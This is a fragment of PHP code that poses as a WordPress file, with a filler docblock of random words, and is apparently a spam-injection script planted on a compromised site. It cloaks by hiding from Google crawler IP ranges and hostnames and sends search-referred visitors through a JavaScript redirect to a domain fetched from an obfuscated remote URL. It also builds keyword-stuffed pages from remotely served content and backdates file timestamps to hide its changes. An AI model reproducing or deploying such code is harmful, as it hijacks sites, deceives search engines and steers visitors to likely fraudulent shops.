file_put_contents($logFileName,serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } }else{ $id = "188769"; //llq index id } } $rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12}; $rs_http = 'http://www.'; $resid = '#^\d+$#'; if(!preg_match($resid,$id)){ http_response_code(404); exit; } $id23 = $id; $siteid = MSID; $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; // $_SERVER["HTTP_REFERER"] = "google.com"; if(isset($_SERVER["HTTP_REFERER"])){ $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $iszz = isCrawler(); if(function_exists('gethostbyaddr')){ $hostname = @gethostbyaddr($localIp); $is_g_ip = preg_match("#google#i", "$hostname") === 1; }else{ $is_g_ip = 0; } if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){ $rsdom = '#^https?://www\.[^/]+/$#i'; $jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt"; $jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt"; for($i=0;$i<2;$i++){ $jumstz = curl_getjs_from_webpage($jums1,2); $jumstz = trim($jumstz); if(!preg_match($rsdom,$jumstz)){ $jumstz = curl_getjs_from_webpage($jums2,10); $jumstz = trim($jumstz); if(preg_match($rsdom,$jumstz)) break; }else{ break; } } echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die(); } } $fcontent = ''; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rsInfo = '#<info>(.*)</info>#si'; preg_match($rsInfo,$pInfoStr,$matchInfo); if(isset($matchInfo[1])){ $InFoStrArr = unserialize($matchInfo[1]); }else{ exit; } if(isset($InFoStrArr['frStr2'])){ $frStr2 = $InFoStrArr['frStr2']; $fr2Arr = unserialize($frStr2); } $frStr1 = $InFoStrArr['frStr1']; $fr1Arr = unserialize($frStr1); $Ptitle = $InFoStrArr['Ptitle']; $PtitleNowid = $Ptitle; $nowIdName = $InFoStrArr['nowIdName']; if(strstr($Ptitle,'#cat#')){ $tp_title_arr = explode('#cat#',$Ptitle); $Ptitle = $tp_title_arr[1]; } $pcatstr = $InFoStrArr['pcatstr']; $nowPreStr = $InFoStrArr['nowPreStr']; $nowNextStr = $InFoStrArr['nowNextStr']; $nowMateAddStr = $InFoStrArr['nowMateAddStr']; if(strstr($pcatstr,'#cname#')){ $temparrI = explode('#cname#',$pcatstr); $catStr = $temparrI[0]; $catArr = explode('^',$catStr); $tparrCat = array(); $catArrII = array(); foreach($catArr as $vs){ $vs = str_replace('&','&',$vs); if(!isset($tparrCat[$vs])){ $tparrCat[$vs] = 1; $catArrII[] = $vs; } } $catArr = $catArrII; $mateStr = $temparrI[1]; if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = trim($temparrII[0]); if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $Ptitle. ' ' .$nowMateAddStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= ', '. $nowMateAddStr; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $Ptitle. ' ' .$nowMateAddStr; } }else{ $catArr = array(); if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = $temparrII[0]; if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $Ptitle. ' ' .$nowMateAddStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= ', '. $nowMateAddStr; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $Ptitle. ' ' .$nowMateAddStr; } } $BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid); if(count($catArr)){ $endCatName = end($catArr); $beginCatName = $catArr[0]; $addKeyWordStr = ', ' . implode(', ', $catArr); }else{ $beginCatName = ''; $endCatName = ''; } if(function_exists("preg_split")){ $PtitleArr = preg_split('/\s+/us', $Ptitle); }else{ $PtitleArr = explode(' ', $Ptitle); } $tpTitleArr = array(); foreach($PtitleArr as $vs){ $vs = trim($vs); if($vs){ $tpTitleArr[] = $vs; } } $numTitleArr = count($tpTitleArr); $randTkeyI = RANDNUMI % $numTitleArr; $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI); $randTkeyII = RANDNUMII % $numTitleArr; if($randTkeyI == $randTkeyII){ $randTkeyII = abs($randTkeyI-2); } $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII); $addTopStr = ''; $addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL; $addTopStr .= $BreadStr.PHP_EOL; $addTopStr .= "<h2>{$Ptitle}</h2>".PHP_EOL; $addStrII = ''; if(isset($InFoStrArr['nowPimgArrYs'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']); foreach($tpImgArr as $tpimg){ $addStrII .= $tpimg."<br/>".PHP_EOL; } } $addStrII .= '<p>'; $addStrII .= '###nowtitles###,'; $addStrII .= $createTitleI .','; $addStrII .= $pdescription.' '; $addStrII .= $createTitleII .'.</p>'; $addTopStr .= $addStrII; $tpaddstr = "<h2>{$Ptitle}</h2>"; if(isset($InFoStrArr['pdes'])){ $InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']); $tpaddstr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL; } if(isset($InFoStrArr['nowPimgArr'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach($tpImgArr as $tpimg){ $tpaddstr .= $tpimg."<br/>".PHP_EOL; } } $arrFlinks = array(); $fr1Strs = '<ul>'.PHP_EOL; foreach($fr1Arr as $key=>$vs){ $tpPid = $key; $tpFlink = getalink($tpPid,$vs); if(strstr($vs,'#cat#')){ $tp_name_arr = explode('#cat#',$vs); $vs = $tp_name_arr[1]; } $fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL; $arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>'; } $fr1Strs .= '</ul>'.PHP_EOL; if(isset($fr2Arr)){ $fr2Strs = '<ul>'.PHP_EOL; foreach($fr2Arr as $key=>$vs){ $tpPid = $key; $tpFlink = getalink($tpPid,$vs); if(strstr($vs,'#cat#')){ $tp_name_arr = explode('#cat#',$vs); $vs = $tp_name_arr[1]; } $fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL; } $fr2Strs .= '</ul>'.PHP_EOL; } $addPdesStrII = ''; $addPdesStrII .= "<h2>{$Ptitle}</h2>".PHP_EOL; $addStrDes1 = ''; if(isset($InFoStrArr['nowDesNameArrStr'])){ $Random = (KEYJG + $id23) % 3 + 3; $tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']); $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = $Random; $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ $tempDesNameArr[] = "<b>{$Ptitle}</b>"; $nowTempFlag++; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1){ $nowTempFlag++; $tempDesNameArr[] = "<b>{$Ptitle}</b>"; } $tpDesNameArr = $tempDesNameArr; $tempArrLen = count($tpDesNameArr) - 1; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDes1 .= $tpdesVs . '.'; // echo $addStrDes1; // exit; }else{ $addStrDes1 .= $tpdesVs . $nowtempfh; } $i++; } $addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL; } $addPdesStrII .= $addStrDes1.PHP_EOL; $addPdesStr = ''; $addStrDesII = ''; if(isset($InFoStrArr['fpNameStr'])){ $Random = (KEYJG + $id23) % 2 == 0 ? 3 : 2 ; $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ if(strstr($tpdesVs,'#cat#')){ $tp_name_arr = explode('#cat#',$tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = $Random; $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ // $tempDesNameArr[] = "<b>{$Ptitle}</b>"; $nowTempFlag++; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1){ $nowTempFlag++; // $tempDesNameArr[] = "<b>{$Ptitle}</b>"; } $tpDesNameArr = $tempDesNameArr; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDesII .= $tpdesVs . '.'; }else{ $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL; } $addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL; $addPdesStr .= $addStrDesII.PHP_EOL; $addH3Str = "<h3>{$Ptitle}</h3>"; $thisPnameLink = '<a href="">'.$nowIdName.'</a>'; $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>'; $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>'; $flagH2I = 1; $flagH2II = 1; $flagH2III = 1; $fileMb = fopen("template.html","r"); $html = fread($fileMb,filesize("template.html")); $numBz = 0; $titleKeys = KEYJG % 6; $catUseKey = (KEYJG + $id23) % count($catArr); $catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr); if($catUseKey == $catUseKeyTwo) $catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr); if(preg_match('#.*\.(.*)\..*#i',$thisdom)) $usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom); else $usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom); $nowShowTitle = $catArr[$catUseKey] .' '. $Ptitle .' '. $catArr[$catUseKeyTwo]; $addTopStr = str_replace('###nowtitles###',$Ptitle ,$addTopStr); $tpaddstr = str_replace('###nowtitles###',$Ptitle,$tpaddstr); $html = str_ireplace('draft_or_post_title', $nowShowTitle, $html); $html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html); $html = str_ireplace('#bbbdesbbb#', $pdescription, $html); $html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html); // $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html); if(strstr($html,'#link3#')) if($flagH2I){ $html = str_replace('#link3#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html); $flagH2I = 0; }else{ $html = str_replace('#link3#','',$html); } if(strstr($html,'#flink#')) if($flagH2I){ $html = str_replace('#flink#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#flink#',$addPdesStr, $html); $flagH2II = 0; }else{ $html = str_replace('#flink#','',$html); } if(strstr($html,'#link4#')) if($flagH2I){ $html = str_replace('#link4#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link4#',$addPdesStr, $html); $flagH2II = 0; }elseif($flagH2III){ $html = str_replace('#link4#','',$html); $flagH2III = 0; }else{ $html = str_replace('#link4#','',$html); } if(strstr($html,'#link5#')) if($flagH2I){ $html = str_replace('#link5#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#link5#',$addPdesStr, $html); $flagH2II = 0; }elseif($flagH2III){ $html = str_replace('#link5#','',$html); $flagH2III = 0; }else{ $html = str_replace('#link5#','',$html); } if(strstr($html,'#Flink2#')) if($flagH2I){ $html = str_replace('#Flink2#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html); $flagH2I = 0; }elseif($flagH2II){ $html = str_replace('#Flink2#',$addPdesStr, $html); $flagH2II = 0; }elseif($flagH2III){ $html = str_replace('#Flink2#','',$html); $flagH2III = 0; }else{ $html = str_replace('#Flink2#','',$html); } $lastAddStrs = ''; if($flagH2I){ $lastAddStrs .= $addPdesStrII. "<br/>". PHP_EOL . $fr1Strs . PHP_EOL; } if($flagH2II){ $lastAddStrs .= $addPdesStr. PHP_EOL; } if($lastAddStrs){ $tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs; } $html = str_ireplace('#bbb2content2bbb#', '', $html); $html = str_ireplace('#descontent#', $tpaddstr, $html); $html = str_replace('#link1#','',$html); $html = str_replace('#link2#','',$html); $footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription}<br/><strong>{$Ptitle}</strong>".PHP_EOL; $html = str_replace('</body',$footKey.'</body',$html); echo $html; die(); /** * bacteria ban cliff distribute dump fatigue flock legislation liberty loosen luxury maintain passion resemble title tropical vacuum wander. * accelerate chaos coarse data device gallon infect jealous joint leather molecule odd remedy shuttle stable strategic territory video yawn. * Internet adapt aware conservation diverse elaborate evolve ferfile ingredient junior lean modify principle restraint retain. * audio isolate repetition software via. * awful capture career debate discrimination dive durable forbid guarantee infinite label personnel restrain suspicion terror utilify vacant. * adequate adopt approach consistent equation geography hatred hostile individual infant isolate loose male organ poverty route scandal ultimate variation violent. * balcony burden coach constant distribute drip flash incident lest nonsense offend prominent remarkable subsequent timber victim vital whereas. * academic candidate career commit competent distinguish emphasize faculty favorable hint inevitable isolate mist molecule organ resemble resume shrug signature tendency universe vertical volcano. * arichmetic balcony calculate comedy decent dive knot minimum partial stale tuition. * adopt advertise appeal applianc gesture infant loosen manual nuclear remedy retail slippery strategic submerge vehicle version vessel volcano. * biology fate particularly tuition vertical virtue. * approve bacteria chaos encounter excursion forbid import molecule moral negative oval parade relief triumph withdraw withstand. * attitude cargo catalog jam junior laser numerrous portion prohibit prosperity remedy sensible temporary tense tremble weave. * emotional grateful invade isolate launch merchant mood oval presumably primitive reluctant shift transport utilify vague. * response applicable aspect attach available core evil favorable favorite legislation mission moral petroleum sensitive tension tuition. * adapt awkward coach emotion episode expansion network omit optics reputation sorrow stale suburb tone transport treaty vanish via video violence. * accomplish ban fax gene germ hatred interpret jail launch luxury optics prescribe reliable rescue shield signature slope solar torture treaty vague virtual. * acid adult consume distress dive domestic episode explode fertilizer generate liberty magnet moisture neutral orient origin reject shiver simplicity spill tedious virtual. * academic appeal available capture comedy display essential facility fatal grant haste massive modify skim usage. * acid appoint bachelor expenditure extinct interpret kneel obstacle onion prevail promote respond restraint universe vague. * acknowledge balcony decline display expensive omit retail satellite shallow utter volunteer. * cargo comparative facility illegal numerrous removal snap split tedious title tremble vague yawn. * applicant attach cargo deputy expense fax gene infect jungle liberal moisture noticeable nuisance pursue release reliable shallow shelter tedious textile tremendous violent virus yawn. * adjust applause aspect ceremony clue decay diverse earthquake equation fatal joint leisure neutral notify opportunity orchestra rescue satellite significance tend usage vague vary. * available barrel diverse exterior nonsense racial rescue violet. * competent ingredient inhabitant media prescribe previous terror universe whatsoever. * bunch casual emotional essential humble infer jungle navigation religion sexual slope title. * adhere arouse flexible gallon luxury naval odd profitable rival sponsor swallow valley. * adhere advertisement audio available coach consistent data faulty favorite hollow incident liberty luxury network racial repetition ruin sequence shrug smash trace version virus. * adjust approach bother casual consistent discipline female frustrate geology grand impose inferior mist moisture passion radiation reject release satellite tidy volunteer wonder. * applianc gap germ identify orbit phenomenon priority simplicity tissue universal. * emphasize liquor render vibrate. * liable luxury lynar shrug stripe. * avenue decent emotional global holy idle isolate missile numerrous outset oval participate prominent radical remote semester severe spot spur tedious temple undergraduate vacant. * comparable display notify tropical. * appoint auxiliary continual diverse extraordinary glorious male mature opportunity oxygen passive personnel professional radical sequence stimulate submit triumph undergraduate via weed. * arouse bargain giant provision reliable spray tension triangle. * accelerate adult advertise beforehand expand facility household mild modify neglect resistant sponsor tend tendency the weld. * aware coil portable resistant spur strategic transplant undergraduate. * response adult alcohol approve aware chaos decade drift durable expel explosion faulty globe hardware insignificant moisture range revenue splendid universe valid variation vary welfare. * adhere apparent brake bundle capture episode erect exceed flash manufacture nevertheless profit ridid shuttle temptation textile timber tuition usage utilify. * academy advertisement agency bachelor conservative distress exaggerate favorite gene guarantee infant insignificant powder rescue retain security shiver shrug spot stable strategic substitute swallow temporary wagon. * absolute applause enthusiasm explosive liberty lynar manual motive notion peak territory. * quotation remedy transmit vacant valid. * applicable breadth bunch calculate cliff encounter medium radical relief rival sake sketch tend transplant universe via virtual. * automatic barrier cliff jewel orchestra partial racial strategic. * agency debt exceed expense explosive gasoline infect leap. * auxiliary decay exaggerate germ hook vacuum. * bacteria commit debate diverse elbow electron encounter explosion flock genius hardware issue lynar naval restraint revenue severe sketch suspicion talent utter vacant. * advertisement conservation dash derive dispose encounter entertainment entry explosive global isolate leap nylon outstanding passport racial radical reinforce submerge talent vertical virus wagon whatsoever withdraw. * academic appoint gallon haste mist moisture offend principal satellite variation yawn. * audio competition delicate fax ruin usage virus. * adjust casual domestic enthusiasm shuttle stable subway terminal tremendous. * agent alter commit expense fatigue faulty geometry guilty highlight insurance liable media opportunity parallel particle principle reinforce remote sexual shiver stuff subt utter. * attach exclaim infant participate preserve quit sensitive strategy transmit venture wonder. * * @package WordPress */ function getRandStrArr($tpArr=array(),$bgKey=0){ $returnStr = ''; $numArr = count($tpArr); for($i=$bgKey+1;$i<$numArr;$i++){ $returnStr .= $tpArr[$i].' '; } for($i=0;$i<=$bgKey;$i++){ $returnStr .= $tpArr[$i].' '; } return trim($returnStr); } function getBreadcrum($Ptitle,$catArr,$id23,$pname){ global $arrBread,$thisdom; $breadTagkey = KEYJG % 6; if($breadTagkey == 0){ $breadTagHtml1 = 'nav'; $breadTagHtml2 = 'ul'; }elseif($breadTagkey == 1){ $breadTagHtml1 = 'nav'; $breadTagHtml2 = 'ol'; }elseif($breadTagkey == 2){ $breadTagHtml1 = 'div'; $breadTagHtml2 = 'ol'; }elseif($breadTagkey == 3){ $breadTagHtml1 = 'section'; $breadTagHtml2 = 'ol'; }elseif($breadTagkey == 4){ $breadTagHtml1 = 'section'; $breadTagHtml2 = 'ul'; }else{ $breadTagHtml1 = 'div'; $breadTagHtml2 = 'ul'; } // $catstr = implode(' >> ',$catArr); // $catArr= array(); // if($catstr) // $catArr[] = $catstr; $arrBreadNum = count($arrBread); $domlen = strlen($thisdom); $breadTagkey = $domlen % 5; $liClassYs = KEYJG % 19; if($liClassYs == 0){ $liStr = ' class="item"'; }elseif($liClassYs == 1){ $liStr = ' class="breadcrumbs-item"'; }elseif($liClassYs == 2){ $liStr = ' class="nz-breadcrumb-item"'; }elseif($liClassYs == 3){ $liStr = ' class="items"'; }elseif($liClassYs == 4){ $liStr = ' class="breadcrumblist-items"'; }elseif($liClassYs == 5){ $liStr = ' class="el-breadcrumb-item"'; }elseif($liClassYs == 6){ $liStr = ' class="doc-crumb-item"'; }elseif($liClassYs == 7){ $liStr = ' class="breadcrumb-item"'; }elseif($liClassYs == 8){ $liStr = ' class="crumbs-item"'; }elseif($liClassYs == 9){ $liStr = ' class="bread-item"'; }elseif($liClassYs == 10){ $liStr = ' class="breads-item"'; }elseif($liClassYs == 11){ $liStr = ' class="breadcrumbItem"'; }elseif($liClassYs == 12){ $liStr = ' class="breadcrumbItems"'; }elseif($liClassYs == 13){ $liStr = ' class="breadcrumblistitems"'; }elseif($liClassYs == 14){ $liStr = ' class="BreadcrumbItem"'; }elseif($liClassYs == 15){ $liStr = ' class="ListItem"'; }elseif($liClassYs == 16){ $liStr = ' class="crumb-items"'; }else{ $liStr = ''; } $arrBreadId = array(); $arrBreadId[] = 'Bread'; $arrBreadId[] = 'BreadHead'; $arrBreadId[] = 'Breadcrumb'; $arrBreadId[] = 'Breadcrumb-Head'; $arrBreadId[] = 'Breadcrumb-Heads'; $arrBreadId[] = 'Breadcrumb-Top'; $arrBreadId[] = 'BreadcrumbHeads'; $arrBreadId[] = 'BreadcrumbLists'; $arrBreadId[] = 'BreadcrumbNavigation'; $arrBreadId[] = 'BreadcrumbTop'; $arrBreadId[] = 'BreadcrumbTops'; $arrBreadId[] = 'MyBreadcrumb'; $arrBreadId[] = 'ant-breadcrumb'; $arrBreadId[] = 'bread-List'; $arrBreadId[] = 'breadtop'; $arrBreadId[] = 'breadtops'; $arrBreadId[] = 'breadHead'; $arrBreadId[] = 'breadHeads'; $arrBreadId[] = 'breadList'; $arrBreadId[] = 'breadLists'; $arrBreadId[] = 'breadcrumb'; $arrBreadId[] = 'c-breadcrumb'; $arrBreadId[] = 'crumbList'; $arrBreadId[] = 'crumb-list'; $arrBreadId[] = 'crumbs'; $arrBreadId[] = 'crumbsHead'; $arrBreadId[] = 'crumbsHeads'; $arrBreadId[] = 'crumbs-head'; $arrBreadId[] = 'crumbs-nag'; $arrBreadId[] = 'crumbsTop'; $arrBreadId[] = 'crumbsTops'; $arrBreadId[] = 'crumbs-top'; $arrBreadId[] = 'cs-breadcrumb'; $arrBreadId[] = 'customBreadcrumb'; $arrBreadId[] = 'doc-crumb'; $arrBreadId[] = 'el-breadcrumb'; $arrBreadId[] = 'l-breadcrumb'; $arrBreadId[] = 'navBreadCrumb'; $arrBreadId[] = 'navBreadCrumbs'; $arrBreadId[] = 'page-breadcrumbs'; $arrBreadId[] = 'pages-breadcrumbs'; $arrBreadId[] = 's-breadcrumb'; $arrBreadId[] = 'v-breadcrumb'; $arrBreadId[] = 'chrome-breadcrumbs'; $keyBreadId = KEYJG % 48; if(isset($arrBreadId[$keyBreadId])){ $keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"'; }else{ $keyBreadIdStr = ''; } $strBreads = ''; if($breadTagkey == 4){ $arrBreadC1 = array(); $arrBreadC1[] = 'BreadcrumbData'; $arrBreadC1[] = 'BreadcrumbDatas'; $arrBreadC1[] = 'BreadcrumbTop'; $arrBreadC1[] = 'crumbsHead'; $arrBreadC1[] = 'crumbsTop'; $arrBreadC1[] = 'crumbsList'; $arrBreadC1[] = 'crumbs-top'; $arrBreadC1[] = 'crumbs-list'; $arrBreadC1[] = 'crumbs-Head'; $arrBreadC1[] = 'BreadcrumbTag'; $arrBreadC1[] = 'Breadcrumb-tag'; $arrBreadC1[] = 'BreadcrumbBody'; $arrBreadC1[] = 'BreadcrumbBody'; $arrBreadC1[] = 'Breadcrumb-Top'; $arrBreadC1[] = 'Breadcrumb-body'; $arrBreadC1[] = 'BreadcrumbTops'; $arrBreadC1[] = 'Breadcrumb-Head'; $arrBreadC1[] = 'Breadcrumb-Heads'; $arrBreadC1[] = 'Breadcrumb-List'; $arrBreadC1[] = 'BreadcrumbList'; $arrBreadC1[] = 'BreadcrumbLists'; $ckeyI = KEYJG % count($arrBreadC1); $classI = $arrBreadC1[$ckeyI]; $classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb'; $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">'; $strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>'; } } // $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>'; $strBreads .= '</'.$breadTagHtml2.'>'; $strBreads .= '</'.$breadTagHtml1.'>'; }else{ $calssBreadKey = KEYJG % $arrBreadNum; $classTop = $arrBread[$calssBreadKey]; $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; $breadTagkey = $domlen % 2; if($breadTagkey == 0){ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>'; $flagNum = 2; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>'; $flagNum++; } } // $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>'; $strBreads .= '</'.$breadTagHtml2.'>'; $strBreads .= '</'.$breadTagHtml1.'>'; }else{ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span 